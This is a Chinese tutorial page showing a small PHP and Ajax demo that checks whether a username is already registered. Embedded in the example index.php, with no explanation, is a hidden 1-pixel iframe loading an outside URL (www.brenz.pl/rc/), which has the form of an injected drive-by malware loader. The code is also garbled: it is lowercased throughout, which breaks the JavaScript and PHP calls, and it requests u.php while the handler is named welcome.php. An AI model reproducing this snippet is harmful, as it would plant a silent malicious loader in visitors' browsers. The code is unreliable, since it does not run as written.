PHP与Ajax相结合实现登录验证小Demo
程序员文章站
2023-12-12 20:33:46
ajax即“asynchronous javascript and xml”(异步javascript和xml),是指一种创建交互式网页应用的网页开发技术。...
ajax即“asynchronous javascript and xml”(异步javascript和xml),是指一种创建交互式网页应用的网页开发技术。
ajax = asynchronous javascript and xml(异步的 javascript 和 xml)。
ajax 不是新的编程语言,而是一种使用现有标准的新方法。
ajax 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/javascript"> function ajax(){ var xmlhttpreq=null;//初始对象xmlhttpreq if(window.activexobject){ xmlhttpreq=new activexobject("microsoft.xmlhttp"); }else if(window.xmlhttprequest){ xmlhttpreq=new xmlhttprequest(); } var userid=document.getelementbyid("userid").value;//value取得id为userid的值 url="u.php?userid="+userid;//路径 if(xmlhttpreq!=null){//若对象实例化创建成功 xmlhttpreq.open("get",url,true);//open()打开请求 xmlhttpreq.onreadystatechange=requestcallback;//设置回调函数requestcallback() xmlhttpreq.send(null);//请求不包括正文 } function requestcallback(){//回调函数 if(xmlhttpreq.readystate==4){ if(xmlhttpreq.status==200){//请求成功 document.getelementbyid("get").innerhtml=xmlhttpreq.responsetext;//将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<input type="text"value="yuki"id="userid"name="userid"><input type="button"value="检测"onclick="ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userid=$_get["userid"]; if($userid=="管理员"){ echo "用户名已存在!"; }else{ echo "该用户名可以注册"; } ?>
关于php与ajax相结合实现登录验证小demo的相关知识就给大家介绍到这里,希望对大家有所帮助!